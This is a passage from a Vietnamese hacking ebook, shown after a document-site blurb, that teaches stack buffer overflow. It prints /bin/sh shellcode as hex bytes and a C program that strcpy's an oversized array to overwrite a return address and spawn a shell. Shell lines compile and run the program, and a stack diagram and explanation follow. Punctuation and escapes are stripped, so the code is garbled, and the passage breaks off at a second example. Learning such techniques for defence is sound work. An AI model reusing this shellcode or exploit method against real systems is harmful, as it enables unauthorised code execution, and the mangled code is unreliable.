Tham khảo tài liệu 'hacker professional ebook part 113', công nghệ thông tin, kỹ thuật lập trình phục vụ nhu cầu học tập, nghiên cứu và làm việc hiệu quả | exit đt@localhost vicki Viết tràn bộ đệm Ví dụ 1 char shellcode xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd x80xe8xdcxffxffxff bin sh char large_string 128 void main char buffer 96 int i long long_ptr long large_string for i 0 i 32 i long_ptr i int buffer for i 0 i strlen shellcode i large_string i shellcode i strcpy buffer large_string đt@localhost vicki cc -o overflow đt@localhost vicki . overflow exit đt@localhost vicki Giải thích đỉnh của ------------ đáy của -------------- đỉnh của bộ nhớ ret addr stack addr buffer bộ nhớ ------------ I addr buffer I I ebP 1 1 . 1 ------------ I addr buffer I I I I addr buffer I large_string 128 I buffer 96 I I addr buffer I I I I I ------------ I shellcode I I long_ptr I---------- I I đáy của ------------- đỉnh của ------------- đáy của bộ nhớ stack bộ nhớ STACK HEAP char large_string 128 cấp phát một vùng nhớ 128 bytes trên HEAP long long_ptr long large_string cho long_ptr trỏ đến đầu mảng large_string for i 0 i 32 i long_ptr i int buffer lắp đầy mảng large_string bằng địa chỉ của mảng buffer for i 0 i large_string i shellcode i đẩy shellcode vào phần đầu của mảng large_string strcpy buffer large_string copy large_string vào buffer. làm tràn bộ đệm Trước hết chúng ta khởi tạo một mảng large_string có kích thước lớn hơn buffer trên HEAP. Tiếp theo lắp đầy large_string bằng địa chỉ của buffer . Shellcode sẽ được gắn vào phần đầu của large_string . Khi hàm strcpy được thực hiện nó sẽ copy large_string vào buffer. Bởi vì large_string quá lớn nên nó sẽ ghi đè lên ebp và return addr. Phần trên của mảng large_string toàn là địa chỉ của buffer - addr buffer nên return addr sẽ trỏ đến buffer 0 . Mà nằm ngay ở phần đầu của buffer lại chính là shellcode do ta đã copy large_string vào buffer bằng hàm strcpy nên shellcode sẽ được thi hành nó sẽ đô ra một shell lệnh. Ví dụ 2 Để viết tràn bộ đệm bạn phải biến địa chỉ của buffer trên stack. Thật may